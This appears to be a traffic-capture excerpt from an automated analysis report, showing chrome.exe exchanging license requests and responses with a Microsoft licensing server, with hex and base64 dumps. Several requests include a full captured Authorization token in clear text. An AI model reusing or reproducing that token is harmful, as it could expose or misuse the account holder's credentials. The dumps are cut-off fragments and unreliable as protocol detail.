Date: Fri, 01 Jul 2022 09:01:33 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 935
MS-CorrelationId: c7ca9524-9a73-4ce9-a79b-e6b74320ace0
MS-RequestId: 9239c206-e639-4470-bd79-3175ad49c3fc
MS-CV: UznHpAHqV0GMBdER.33.1530940446.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-j8qrv

2022-07-01 09:01:34 UTC 2522 IN Data Raw: 7b 22 73 61 74 69 73 66 61 63 74 69 6f 6e 46 61 69 6c 75 72 65 22 3a 7b 22 61 6c 74 65 72 6e 61 74 65 43 6f 
6e 74 65 6e 74 49 64 73 22 3a 5b 22 64 30 35 63 64 65 62 35 2d 37 66 38 62 2d 38 66 39 32 2d 65 39 63 33 2d 64 38 64 
64 38 37 35 37 61 65 34 66 22 2c 22 61 32 65 64 30 37 61 39 2d 34 66 65 34 2d 31 62 31 38 2d 33 62 31 36 2d 37 30 39 
39 65 31 62 65 31 30 38 63 22 2c 22 34 65 34 35 64 34 62 31 2d 38 30 39 36 2d 62 64 61 62 2d 37 38 35 31 2d 38 66 61 
38 66 38 30 63 61 30 33 37 22 2c 22 65 62 37 38 39 66 33 32 2d 35 32 35 66 2d 63 61 65 62 2d 62 37 66 66 2d 31 37 38 
36 66 63 65 34 30 34 65 33 22 2c 22 61 64 31 34 35 37 63 61 2d 63 37 35 35 2d 34 34 66 32 2d 61 35 32 32 2d 39 31 31 
62 33 62 62 34 36 38 36 35 22 2c 22 35 64 36 65 38 64 61 39 2d 36 66 36 
Data Ascii: {"satisfactionFailure":{"alternateContentIds":["d05cdeb5-7f8b-8f92-e9c3-d8dd8757ae4f","a2ed07a9-4fe4-1b18-
3b16-7099e1be108c","4e45d4b1-8096-bdab-7851-8fa8f80ca037","eb789f32-525f-caeb-b7ff-1786fce404e3","ad1457ca-
c755-44f2-a522-911b3bb46865","5d6e8da9-6f6

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

151 192.168.2.5 49918 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:34 UTC 2523 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.34
Content-Length: 4389
Host: licensing.mp.microsoft.com

2022-07-01 09:01:34 UTC 2525 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:34 UTC 2529 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:34 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 935
MS-CorrelationId: d4fbaa34-b4aa-433e-a7ea-fb16ea1a0828
MS-RequestId: 1d37624b-e9e2-49cf-817e-5dd5c44574cd
MS-CV: UznHpAHqV0GMBdER.34.1530940482.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-m8lhf

2022-07-01 09:01:34 UTC 2529 IN Data Raw: 7b 22 73 61 74 69 73 66 61 63 74 69 6f 6e 46 61 69 6c 75 72 65 22 3a 7b 22 61 6c 74 65 72 6e 61 74 65 43 6f 
6e 74 65 6e 74 49 64 73 22 3a 5b 22 64 30 35 63 64 65 62 35 2d 37 66 38 62 2d 38 66 39 32 2d 65 39 63 33 2d 64 38 64 
64 38 37 35 37 61 65 34 66 22 2c 22 61 32 65 64 30 37 61 39 2d 34 66 65 34 2d 31 62 31 38 2d 33 62 31 36 2d 37 30 39 
39 65 31 62 65 31 30 38 63 22 2c 22 34 65 34 35 64 34 62 31 2d 38 30 39 36 2d 62 64 61 62 2d 37 38 35 31 2d 38 66 61 
38 66 38 30 63 61 30 33 37 22 2c 22 65 62 37 38 39 66 33 32 2d 35 32 35 66 2d 63 61 65 62 2d 62 37 66 66 2d 31 37 38 
36 66 63 65 34 30 34 65 33 22 2c 22 61 64 31 34 35 37 63 61 2d 63 37 35 35 2d 34 34 66 32 2d 61 35 32 32 2d 39 31 31 
62 33 62 62 34 36 38 36 35 22 2c 22 35 64 36 65 38 64 61 39 2d 36 66 36 
Data Ascii: {"satisfactionFailure":{"alternateContentIds":["d05cdeb5-7f8b-8f92-e9c3-d8dd8757ae4f","a2ed07a9-4fe4-1b18-
3b16-7099e1be108c","4e45d4b1-8096-bdab-7851-8fa8f80ca037","eb789f32-525f-caeb-b7ff-1786fce404e3","ad1457ca-
c755-44f2-a522-911b3bb46865","5d6e8da9-6f6

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

152 192.168.2.5 49919 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:34 UTC 2530 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.35
Content-Length: 4329
Host: licensing.mp.microsoft.com

2022-07-01 09:01:34 UTC 2532 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:34 UTC 2536 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:34 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8049
MS-CorrelationId: 744ab4b1-b25c-47bc-be13-39d1066f23fb
MS-RequestId: 677513f2-68ff-4ce9-904b-638a43718817
MS-CV: UznHpAHqV0GMBdER.35.1530940532.421885080.0
X-Content-Type-Options: nosniff
MS-ServerId: 7

2022-07-01 09:01:34 UTC 2537 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 63 33 64 34 32 61 31 61 2d 32 66 33 66 2d 61 
34 61 39 2d 36 61 30 34 2d 63 63 31 62 32 33 34 34 38 35 66 62 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"c3d42a1a-2f3f-a4a9-6a04-cc1b234485fb"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:34 UTC 2538 IN Data Raw: 6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 41 36 4d 6a 51 36 4e 54 45 75 4d 44 4d 30 4d 54 63 79 4d 6c 6f 38 4c 
30 4a 6c 5a 32 6c 75 52 47 46 30 5a 54 34 38 4c 30 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 50 6a 78 44 64 58 4e 30 
62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 35 6c 65 55 70 7a 57 6c 64 6b 61 46 6b 7a 62 46 46 6a 62 54 6c 72 5a 46 64 
4f 4d 46 4e 58 55 57 6c 50 61 55 6b 31 57 6b 64 4a 4d 30 31 71 55 6d 70 50 55 7a 41 31 54 6d 70 61 61 30 78 55 55 6d 
68 61 56 30 6c 30 54 31 64 52 65 6c 6c 70 4d 57 74 4f 62 55 6c 35 57 58 70 6a 4d 31 70 71 54 6d 74 61 56 45 31 70 5a 
6c 45 39 50 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 50 46 4e 51 54 47 6c 6a 5a 57 35 7a 
5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 54 55 6c 42 51 55 46 45 
Data Ascii: jItMDctMDFUMDA6MjQ6NTEuMDM0MTcyMlo8L0JlZ2luRGF0ZT48L0xpY2Vuc2VJbmZvPjxDdXN0b21
Qb2xpY2llcz5leUpzWldkaFkzbFFjbTlrZFdOMFNXUWlPaUk1WkdJM01qUmpPUzA1Tmpaa0xUUmhaV0l0T1dRellpM
WtObUl5WXpjM1pqTmtaVE1pZlE9PTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTUlBQUFE

2022-07-01 09:01:34 UTC 2539 IN Data Raw: 47 31 73 5a 48 4e 70 5a 79 31 74 62 33 4a 6c 49 33 4a 7a 59 53 31 7a 61 47 45 79 4e 54 59 69 49 43 38 2b 
50 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 
2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 
39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 
6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 
62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 
69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 
Data Ascii: G1sZHNpZy1tb3JlI3JzYS1zaGEyNTYiIC8+PFJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFR
yYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnb
mF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcv

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:34 UTC 2540 IN Data Raw: 48 56 73 64 58 4d 2b 62 31 5a 54 53 6c 68 4a 64 45 52 7a 59 55 46 4a 5a 6e 64 35 55 6a 6c 69 61 47 67 76 
57 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 
6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 
64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 
55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 54 41 7a 
65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 63 6d 4a 
4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 
Data Ascii: HVsdXM+b1ZTSlhJdERzYUFJZnd5UjliaGgvWlNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ
4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z
2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEVi

2022-07-01 09:01:34 UTC 2541 IN Data Raw: 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 
78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 57 47 4a 76 65 
45 6c 6b 5a 57 35 30 61 58 52 35 55 48 4a 76 64 6d 6c 6b 5a 58 4a 66 4f 48 64 6c 61 33 6c 69 4d 32 51 34 59 6d 4a 33 5
a 54 77 76 51 58 4e 7a 62 32 4e 70 59 58 52 6c 5a 46 42 47 54 6e 4d 2b 50 45 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 
68 62 46 42 6c 63 6d 6c 76 5a 44 34 78 4d 6a 6b 32 4d 44 41 38 4c 30 78 6c 59 58 4e 6c 55 6d 56 75 5a 58 64 68 62 46 
42 6c 63 6d 6c 76 5a 44 34 38 4c 30 4a 70 62 6d 52 70 62 6d 63 2b 50 45 78 70 59 32 56 75 63 32 56 4a 62 6d 5a 76 49 
46 52 35 63 47 55 39 49 6b 78 6c 59 58 4e 6c 49 69 42 4d 61 57 4e 6c 62 6e 
Data Ascii: uZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuWGJveElkZ
W50aXR5UHJvdmlkZXJfOHdla3liM2Q4YmJ3ZTwvQXNzb2NpYXRlZFBGTnM+PExlYXNlUmVuZXdhbFBlcmlvZD4xMjk
2MDA8L0xlYXNlUmVuZXdhbFBlcmlvZD48L0JpbmRpbmc+PExpY2Vuc2VJbmZvIFR5cGU9IkxlYXNlIiBMaWNlbn

2022-07-01 09:01:34 UTC 2542 IN Data Raw: 30 54 6c 64 61 61 55 6c 73 4d 48 4e 4a 62 58 52 77 59 6d 31 52 61 55 39 70 53 6b 52 69 4d 6a 55 77 57 6c 
63 31 4d 45 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 59 54 57 6c 50 62 48 51 33 53 57 35 43 61 46 6b 79 64 
47 68 61 4d 6c 5a 4b 57 6b 64 57 64 57 52 48 62 47 31 68 56 31 5a 35 53 57 70 76 61 56 70 48 57 6d 6c 61 56 45 45 31 
57 6b 52 42 64 45 31 58 57 58 6c 4e 61 54 46 6f 54 31 64 4e 64 30 78 55 53 6d 74 4e 4d 6c 46 30 54 54 4a 5a 4d 46 6c 
36 57 58 70 4f 56 45 5a 73 54 6c 52 6f 62 55 6c 70 64 32 6c 6a 52 30 5a 71 59 54 4a 47 62 6c 70 57 55 6a 56 6a 52 31 
56 70 54 32 6c 4b 64 47 4d 79 62 44 52 4a 61 58 64 70 59 30 68 4b 64 6c 70 49 56 6d 70 6b 52 55 5a 72 57 6b 55 35 64 
57 4e 35 53 54 5a 58 4d 54 42 7a 53 57 35 43 65 57 49 79 55 6a 46 5a 4d 31 
Data Ascii: 0TldaaUlsMHNJbXRwYm1RaU9pSkRiMjUwWlc1MElpd2ljR0ZqYTJGblpYTWlPbHQ3SW5CaFkydGhaM
lZKWkdWdWRHbG1hV1Z5SWpvaVpHWmlaVEE1WkRBdE1XWXlNaTFoT1dNd0xUSmtNMlF0TTJZMFl6WXpOV
EZsTlRobUlpd2ljR0ZqYTJGblpWUjVjR1VpT2lKdGMybDRJaXdpY0hKdlpIVmpkRUZrWkU5dWN5STZXMTBzSW5CeWI
yUjFZM1

2022-07-01 09:01:34 UTC 2543 IN Data Raw: 6a 61 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 
76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 
34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 
6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 
64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 52 75 49 79 49 
67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 
30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 
Data Ascii: jaz48U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U
2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDE
vMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcm

2022-07-01 09:01:34 UTC 2544 IN Data Raw: 30 4e 53 74 4e 54 7a 56 5a 4b 7a 46 54 59 6c 4e 48 65 6b 6f 32 63 56 70 73 62 6a 64 51 57 55 31 45 55 6b 63 
78 61 32 35 56 4e 44 42 31 53 44 4e 33 57 57 31 78 56 7a 4e 6e 53 53 74 47 61 6e 4e 4d 59 6e 64 45 65 55 4a 4c 4e 6b 
74 76 55 6a 64 73 53 6d 78 48 56 6d 31 53 4d 7a 6c 46 4b 32 39 71 61 58 6c 6d 62 33 64 55 53 45 68 36 61 6e 70 55 62 
6e 46 75 61 48 56 73 4e 6c 67 7a 4d 56 46 48 61 45 46 79 65 6e 4d 30 51 54 30 39 50 43 39 54 61 57 64 75 59 58 52 31 
63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 46 69 4d 6a 52 
6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 31 59 7a 4d 7a 4d 43 
49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 
Data Ascii: 0NStNTzVZKzFTYlNHeko2cVpsbjdQWU1EUkcxa25VNDB1SDN3WW1xVzNnSStGanNMYndEeUJLNktvU
jdsSmxHVm1SMzlFK29qaXlmb3dUSEh6anpUbnFuaHVsNlgzMVFHaEFyenM0QT09PC9TaWduYXR1cmVWY
Wx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzMCI+PEtleVZhbHVlPjx
SU0FLZX

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

153 192.168.2.5 49920 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:34 UTC 2544 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
